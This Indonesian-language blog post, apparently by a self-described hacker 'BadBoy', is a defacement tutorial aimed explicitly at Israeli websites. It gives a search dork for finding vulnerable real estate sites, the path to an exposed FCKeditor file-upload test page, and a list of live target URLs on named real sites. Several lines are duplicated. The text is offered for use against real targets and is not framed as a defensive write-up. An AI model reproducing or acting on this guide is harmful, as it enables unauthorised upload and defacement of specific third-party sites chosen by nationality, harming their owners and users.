Assalamualaikum saudara saudara muslim sebangsa dan setanah air kembali bertemu dengan saya Fikri Fakhrezy, ya si kalian bisa panggil saya BadBoy terserah deh kalian mau panggil aku apa? Haha.
Baiklah saya akan share tutorial deface khusus situs ISRAEL, karena saya baru nemuin nya, semalem lah tgl 8 agustus, sekarang kan tgl 9 hehe, ok ni simak aja.
Exploit Title: Powered by Real Estate in Israel File Upload Vulnerability
Dork: intext:Powered by Real Estate in Israel
Author: BadBoy
Category: Remote, Webapps
Tested on: Windows Xp SP3
#####################################################
Poc/Exploit:
http://[localhost]/PATCH//FCKeditor/editor/filemanager/connectors/uploadtest.html
http://[localhost]/PATCH//FCKeditor/editor/filemanager/connectors/uploadtest.html
Allowed File:
You can upload pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files
You can upload pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files
Preview:
- You can see if you success upload file.
- You can see if you success upload file.
Live Target:
- http://www.firstimmo1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.tekoa-realty.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ozma-nechasim.co.il/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ruben1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.tekoa-realty.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ozma-nechasim.co.il/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ruben1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
######################################################
-=[Thanks To: Palembang Hacker Link | Binus Hacker | And All Hacker Muslim ]=-
-=[Thanks To: Palembang Hacker Link | Binus Hacker | And All Hacker Muslim ]=-
Apa pendapat kalian? Pasti mudahkan, karena saya tidak ingin memberikan materi SQL, saya rasa anak kecil pun bisa SQL hehe, sekarang bagaimana kita bermain exploit dengan menyerang URL
Posting Komentar